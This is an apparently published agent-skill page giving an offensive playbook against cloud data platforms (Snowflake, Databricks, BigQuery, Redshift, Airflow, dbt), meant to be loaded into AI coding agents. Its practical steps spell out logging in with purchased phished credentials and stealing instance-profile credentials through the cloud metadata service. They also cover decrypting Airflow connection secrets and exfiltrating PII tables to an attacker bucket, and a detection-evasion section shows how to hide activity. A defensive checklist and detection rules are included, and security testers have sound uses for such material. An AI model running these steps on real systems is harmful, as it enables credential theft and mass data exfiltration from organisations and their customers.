# Data Platform Attack

> Attacks against cloud data platforms and analytics pipelines — Snowflake, Databricks, BigQuery, Redshift, dbt, Apache Airflow, and lakehouse architectures. Covers identity-based breaches (no perimeter), warehouse SQL injection at scale, IAM privilege escalation, secrets in DAGs, notebook code injection, and cross-tenant data exfiltration. Distinct from database-attack (protocol-level RDBMS) and cloud-security (broader CSP control plane).

- Skill: `brucesongs/data-platform-attack` (Agent Skill, multi-file: 10 files)
- Install (CLI): `npx skillmds@latest add brucesongs/data-platform-attack`
- Raw SKILL.md: https://api.skillmd.com/api/skills/brucesongs/data-platform-attack/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: DevOps & Infra
- Author: brucesongs (https://skillmd.com/u/brucesongs)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/brucesongs/data-platform-attack

---


# Data Platform Attack

> **Supplementary Files**:
> - `payloads.md` — Attack payloads and commands organized by platform: Snowflake, Databricks, BigQuery, Redshift, dbt, Airflow, Spark, and lakehouse cross-platform attacks
> - `test-cases.md` — 18 structured test cases covering reconnaissance, identity abuse, SQL injection at warehouse scale, secrets harvesting, notebook injection, and exfiltration
> - `guides/data-platform-attack-playbook.md` — End-to-end playbook with engagement scoping, lab setup, reconnaissance methodology, identity abuse workflows, SQLi-at-scale patterns, exfiltration tactics, and blue-team detection engineering
> - `guides/real-world-incident-case-studies.md` — Eight case studies including the 2024 Snowflake/Lapsus$/Scattered Spider breach, Mandiant UNC5537, Databricks notebook abuse, Airflow DAG secret harvesting, and dbt CI token theft

## Summary

This skill targets modern cloud data platforms — warehouses, lakehouses, orchestration layers, and transformation pipelines — where the boundary between analytics and production has collapsed. Attackers no longer tunnel through database listeners; they walk in through SSO, service tokens, and CI/CD pipelines.

**Tools**: snowsql, databricks-cli, gcloud (BigQuery), aws cli (Redshift/Athena), bq, psql (Redshift), dbt, airflow-cli, spark-sql, sqlmap, pacu, enumerate-iam, m365 dataset scrapers

**Domain**: data-platform

**MITRE ATT&CK**: TA0006 Credential Access · T1078 Valid Accounts · T1213 Data from Information Repositories · T1552 Unsecured Credentials

## Description

Attacks against cloud data platforms and analytics pipelines — Snowflake, Databricks, BigQuery, Redshift, dbt, Apache Airflow, and lakehouse architectures. These platforms concentrate an organization's most valuable data behind identity boundaries rather than network boundaries, so the primary attack surface is **identity abuse, misconfigured public endpoints, secrets embedded in pipelines, and SQL injection scaled across warehouses that contain every production table**.

This skill is distinct from:
- **database-attack** — which targets RDBMS at the protocol/listener level (Oracle TNS, MySQL socket, Redis/MongoDB unauth) behind a network perimeter
- **cloud-security** — which targets CSP control planes (EC2/IAM/S3) broadly
- **container-security** — which targets OCI/K8s

Where database-attack asks "can I reach the listener?", data-platform-attack asks "given that the warehouse is internet-reachable by design and uses SSO/SAML, how do I turn a phished engineer into 4TB of exfiltrated customer records?"

Coverage includes: Snowflake account enumeration (origins + `ORGNAME-USERNAME`), key-pair auth abuse, SCIM provisioning gaps, network policies as the only firewall, Databricks workspace takeover via account-console tokens and PATs, BigQuery IAM abuse and authorized datasets, Redshift IAM chaining, dbt CI/CD token theft, Airflow DAG secret harvesting, Spark/Livy code injection, notebook RCE via `%sh`/`%scala`, lakehouse delta-layer corruption, and cross-tenant exfiltration via shared shares/marketplace listings.

## Use Cases

- **Snowflake account reconnaissance** — enumerate account URLs (`xy12345.snowflakecomputing.com`), confirm account existence via SAML IdP redirect, identify org-name formats
- **Snowflake identity abuse** — phished user → no MFA enforcement → direct login → data exfiltration via `COPY INTO s3` or external stages (Mandiant UNC5537 / 2024-06 breach pattern)
- **Databricks workspace takeover** — leaked PAT or account-console token → enumerate clusters, notebooks, and secrets scopes → pivot to AWS/GCP via instance profiles
- **Airflow DAG secrets harvesting** — read-only access to metadata DB or DAG repo → extract AWS/Azure/GCP credentials from Connections, Variables, and task code
- **dbt CI token theft** — compromising the CI runner → exfiltrate the `DBT_CLOUD_API_TOKEN` or `SNOWFLAKE_PASSWORD` from environment → impersonate service accounts
- **BigQuery authorized-dataset abuse** — accept inherited grants from `analyst_group` → run `bq query --use_legacy_sql=false` across federated datasets
- **Redshift IAM chaining** — `redshift:GetClusterCredentials` → `redshift:ExecuteQuery` → escalate to `iam:chaining-for-db-root`
- **Notebook code injection** — supply malicious CSV/Parquet → Databricks autoloader ingests → `%python` cell hijacks cluster
- **Lakehouse delta corruption** — tamper with `_delta_log` JSON via compromised service principal → silent data drift
- **Cross-tenant exfiltration** — abuse Snowflake Secure Data Sharing / Databricks Marketplace listings to exfiltrate to attacker-controlled account

## Differentiation from Adjacent Skills

| Skill | Primary surface | Boundary type | Typical entry |
|---|---|---|---|
| `database-attack` | RDBMS listener (Oracle TNS, MySQL socket, Redis) | Network perimeter | Brute force on listener |
| `cloud-security` | CSP control plane (EC2, IAM, S3, Azure RM) | Cloud IAM | IAM enumeration |
| `data-platform-attack` (this) | Warehouse / lakehouse / orchestrator | Identity perimeter | Phishing, token leak, public endpoint |
| `container-security` | OCI, Kubernetes, containerd | K8s RBAC, pod identity | Container escape |
| `ai-agent-framework-attack` | LLM agent runtime | Agent prompt / tool surface | Indirect prompt injection |
| `supply-chain-security` | SBOM, package registry, build pipeline | CI/CD pipeline | Dependency confusion |

## Core Tools

### Snowflake
- **snowsql** — official CLI; use with `SNOWFLAKE_ACCOUNT`, `--authenticator=externalbrowser` for SSO
- **snowflake-connector-python** — script recon and bulk queries
- **snowflake-labs** GitHub repos — reference payloads (account enumeration, role mapping)

### Databricks
- **databricks-cli** — workspace, DBFS, secrets, clusters APIs
- **databricks-sql-cli** — direct warehouse SQL via thrift
- **azure-databricks-tools** — workspace enumeration for Azure deployments

### BigQuery / GCP
- **bq** — query, dataset, table enumeration
- **gcloud** — IAM, service-account impersonation, ` bq get-iam-policy`
- **enumerate-iam** — brute-force `gcloud` permissions on a token

### Redshift / AWS
- **aws cli** — `redshift-data`, `redshift-serverless`, `athena`
- **psql** — direct cluster connection after `get-cluster-credentials`
- **pacu** — automates Redshift-to-IAM chaining

### dbt / Airflow
- **dbt** (CLI) — manifest exploration after token theft
- **airflow-cli** — DAG, connection, variable enumeration
- **astronomer-cosmos** — DAG parser to identify secrets in code

### General
- **sqlmap** — warehouse SQLi (slower; use `--dbms=postgres` for Snowflake/Redshift wire protocols)
- **pacu** — AWS-side escalation from data platform pivot
- **scattered-spider-style** OSINT — Snowflake account enumeration via GitHub dorks and public SSO portals

## Methodology

### Phase 1 — Reconnaissance (Account & Tenant Discovery)
- Snowflake account URL enumeration via org patterns (`acme-orgname.snowflakecomputing.com`)
- SAML IdP fingerprinting to confirm account existence
- GitHub dorks: `"snowflake_account"`, `"snowflakecomputing.com"`, `dbt_profiles.yml` blobs
- Databricks workspace URL patterns (`adb-<digits>.<azuredatabricks.net | aws>.net`)
- BigQuery dataset shadows (`publicdata.googleapis.com`, `bigquery-public-data`)
- Airflow webserver fingerprinting via `/login/` and DagBag banner
- dbt Cloud job logs leaked in CI artifacts

### Phase 2 — Identity & Authentication Abuse
- Snowflake: phished user via SSO → no network policy → direct login → role enumeration (`use role accountadmin`)
- Snowflake: SCIM provisioning mismatch → `AAD_TO_SNOWFLAKE_ROLE_MAPPING` allows lateral to accountadmin
- Snowflake: key-pair auth abuse from leaked private key in CI logs
- Databricks: PAT leak in Notebook export, MLflow artifact URL, or cluster log
- Databricks: account-console token (admin only) → workspace admin bypass
- BigQuery: service-account key leak → `bq query --impersonate-service-account=`
- Airflow: Connection passwords in metadata DB (`fernet_key` extraction if weak/leaked)
- dbt: `DBT_CLOUD_API_TOKEN` in CI env → enumerate jobs → fetch `dbt_cloud_service_token_`

### Phase 3 — Warehouse SQL Injection at Scale
- Find BI dashboards / embedded analytics endpoints that fan into Snowflake/BigQuery
- Inject via filter parameters, date selectors, dimension values
- `UNION SELECT` across `SNOWFLAKE.ACCOUNT_USAGE` for global recon
- BigQuery: information_schema enumeration via `EXCEPT` interleaving
- Pivot to `COPY INTO @external_stage` (Snowflake) or `EXPORT DATA OPTIONS(uri='gs://...')` (BigQuery) for exfil

### Phase 4 — Pipeline & DAG Exploitation
- Airflow Connections metadata DB exposure → harvest AWS keys, Slack webhooks, Snowflake passwords
- Airflow Variables leak → CI/CD tokens, Jira API keys
- dbt `profiles.yml` in CI artifact → Snowflake/BigQuery/Redshift password
- dbt model code → identify tables with secrets (`SELECT * FROM dbt_audit.users`)
- Spark/Livy code injection via `%sh` or `%scala` in shared notebooks
- Databricks notebook `%python` cell → AWS IMDS → instance-profile theft

### Phase 5 — Notebook & Compute RCE
- Databricks: upload malicious `.whl` to cluster init script → cluster-wide RCE
- Databricks: `%scala` cell → `dbutils.notebook.exit` chain → secret-scope read
- Synapse: Spark pool → IMDS → subscription-wide lateral
- BigQuery remote functions → ARN of attacker Lambda → arbitrary execution
- Airflow KubernetesExecutor → pod spec tampering → cluster node takeover

### Phase 6 — Lakehouse & Delta Layer Attacks
- Delta Lake `_delta_log` JSON tampering via compromised service principal
- Iceberg metadata manipulation (`METADATA_LOG` replay attack)
- Hudi timeline corruption → silent data drift
- Lakehouse federation: abuse cross-engine views to read external catalog tables

### Phase 7 — Cross-Tenant & Exfiltration
- Snowflake Secure Data Sharing: lister account → exfil via shared-to-attacker database
- Databricks Marketplace: publish a dataset with embedded webhook on `READ_API`
- BigQuery Authorized Views: chain from `dataset:public_view` → `dataset:private_table`
- Exfil via `COPY INTO @s3_external_stage`, `EXPORT DATA OPTIONS`, `UNLOAD`, `bq extract`
- Exfil rate-bypass via partition-pruned queries over many small result sets
- Anti-detection: `ALTER SESSION SET QUERY_TAG='daily-refresh'` to blend with jobs

### Defense Perspective

### Core Principles
1. **Identity is the new perimeter** — assume the warehouse is internet-reachable; enforce MFA, SCIM role mapping, and conditional access
2. **Network policies, not firewalls** — Snowflake network policy = allowlist + blocklist of CIDRs; apply per-user, per-role
3. **Tri-partition of duties** — separate producer, consumer, and auditor roles; never let a producer grant itself accountadmin
4. **Secrets never in DAGs** — use Airflow Connections backed by AWS Secrets Manager / HashiCorp Vault; never `Variable.set("AWS_KEY", ...)`
5. **Detect by behavior, not by signature** — large `COPY INTO`, unfamiliar `QUERY_TAG`, new geography, unusual role escalation are the high-signal events

### Detection Engineering
- Snowflake: `SNOWFLAKE.ACCOUNT_USAGE.ACCESS_HISTORY` for direct object access tracing
- Snowflake: alerts on `SESSION_CLIENT_TYPE` changes, new `AUTHENTICATION_METHOD`
- BigQuery: Cloud Audit Logs `bigquery.googleapis.com/DataRead` with `jobInsert` filtering
- Airflow: DAG spec diffs in CI, alert on `Variable.set` in scheduler logs
- Databricks: cluster-log forward to Splunk; alert on `%sh` cells touching IMDS
- Universal: alert on `COPY INTO @external_stage` where stage owner ≠ workload identity

### Hardening Checklist
- [ ] Enforce MFA (preferably phishing-resistant: WebAuthn, YubiKey) on all data platform users
- [ ] Apply network policies to every Snowflake account; deny non-corporate CIDRs
- [ ] Use SCIM with explicit deny-mapping; never auto-grant accountadmin
- [ ] Databricks: rotate PATs quarterly; prefer OAuth over PAT
- [ ] Airflow: back Connections with secret manager; rotate `FERNET_KEY`
- [ ] dbt: use short-lived tokens in CI; rotate `DBT_CLOUD_API_TOKEN` on personnel change
- [ ] BigQuery: enforce `authorizedViews` + `authorizedDatasets` + condition bindings
- [ ] Lakehouse: write-audit-log on `_delta_log` for every committed version
- [ ] Enable cloud platform's UEBA / GuardDuty / Microsoft Defender for Data

## Practical Steps

### Snowflake — UNC5537 Style Entry
1. Confirm target account: `curl -I https://acme.snowflakecomputing.com` → 302 to Okta/Azure
2. Purchase phished credentials on access broker marketplaces or use leaked cookie session
3. If no MFA enforced: `snowsql -a acme -u phished_user --authenticator=externalbrowser`
4. Enumerate: `SHOW ROLES;`, `SHOW GRANTS;`, `USE ROLE ACCOUNTADMIN;` (if SCIM mis-mapped)
5. Pivot to exfil: `COPY INTO @my_external_stage FROM customers;`
6. Cover tracks: `ALTER SESSION SET QUERY_TAG='nightly_ingest';`

### Databricks — PAT to AWS
1. Obtain leaked PAT from CI logs or notebook export
2. `databricks clusters list` → identify cluster with instance profile ARN
3. `databricks secrets list-scopes` → enumerate and dump via ACL flaws
4. Run `%python` cell: `requests.get('http://169.254.169.254/latest/meta-data/iam/security-credentials/...')`
5. Use stolen instance profile creds via `aws s3 ls` against the customer bucket

### Airflow — Connection Harvest
1. Obtain read access to Airflow metadata DB (often backed by RDS)
2. `SELECT conn_id, conn_type, password FROM connection;` (encrypted with `FERNET_KEY` from env)
3. Pull `FERNET_KEY` from `AIRFLOW__CORE__FERNET_KEY` env or config file
4. Decrypt all connections offline
5. Pivot: use Snowflake connection creds to authenticate via `snowsql`

### BigQuery — Authorized Dataset Abuse
1. Service-account key leak → `gcloud auth activate-service-account --key-file=sa.json`
2. `bq ls --projects=customer-prod` → enumerate datasets
3. `bq show --format=prettyjson dataset.table` → schema recon
4. `bq query --use_legacy_sql=false 'SELECT * FROM \`customer-prod.pii.users\` LIMIT 1000'`
5. Exfil: `bq extract --destination_format=CSV 'customer-prod.pii.users' gs://attacker-bucket/users.csv`

### Redshift — IAM Chaining
1. Compromise a low-priv role with `redshift:GetClusterCredentials`
2. Connect via psql: `psql -h cluster.x.redshift.amazonaws.com -u db_user`
3. Read `stv_session_activity` for lateral recon
4. Identify tables with secrets (`pg_catalog.pg_shadow`)
5. Pivot: enumerate AWS permissions of the cluster's IAM role via `redshift-data:ExecuteStatement`

## Detection Methods

### Data Platform Audit Logs
- **Snowflake / Databricks / BigQuery**: `LOGIN_HISTORY`, `QUERY_HISTORY`, `COPY_HISTORY`; alert on anomalous SELECT patterns.
- **Apache Hive / Iceberg / Delta Lake**: Query logs; alert on cross-database enumeration.
- **Presto / Trino**: Query audit table; alert on `SELECT *` without WHERE from external users.

### SIEM Detection Rules
- **Splunk SPL**: `index=snowflake sourcetype=snowflake:query | where bytes_scanned > 1000000000`
- **Native platform**: Snowflake Account Usage views; BigQuery Information Schema; alert on mass export.
- **Immuta / Privacera**: Data access governance with anomaly detection.

## Defense Evasion Techniques

### Query Stealth
- **Below scan threshold**: Keep `bytes_scanned` below platform monitoring threshold.
- **Distribute across queries**: Split large query into many small; aggregate results.
- **Off-hours queries**: Run during low-activity windows; blends with maintenance.
- **Use of cached results**: Trigger cache via legitimate-looking queries; then read cache.

### Privilege Abuse Stealth
- **Use legitimate roles**: Don't create new role; abuse existing over-privileged role.
- **Service account tokens**: Use long-lived tokens rather than user auth; no login events.
- **Cross-platform access**: Pivot from data lake (S3) to data warehouse (Snowflake) via legitimate ingestion pipeline.

## Cross-References
- `skills/database-attack/SKILL.md` — protocol-level RDBMS attacks (Oracle TNS, MySQL socket)
- `skills/cloud-security/SKILL.md` — broader CSP control plane attacks
- `skills/ai-agent-framework-attack/SKILL.md` — when LLM agents become the data platform consumer
- `skills/secret-discovery/SKILL.md` — secrets discovery techniques applicable to DAGs and notebooks
- `skills/persistence-attacks/SKILL.md` — Snowflake persistent query-tag evasion
- `skills/pentest-reporting/SKILL.md` — reporting templates for data-breach simulations

## References

- Mandiant — *Cloud Threat Report: UNC5537 Snowflake Campaign* (2024-06)
- Snowflake Security Trust Center — *Information on Threat Campaign* (2024-06)
- Databricks — *Security Best Practices for Workspace Administration* (2024)
- Google Cloud — *BigQuery Authorized Datasets and Views* (2024)
- MITRE ATT&CK — *T1213 Data from Information Repositories*, *T1078.004 Cloud Accounts*, *T1552.007 Container and Cloud Instance Credentials API*
- dbt Labs — *Security Best Practices for CI/CD Token Management* (2024)
- Apache Airflow Security Guide — *Connections, Secrets Backends, FERNET_KEY* (2024)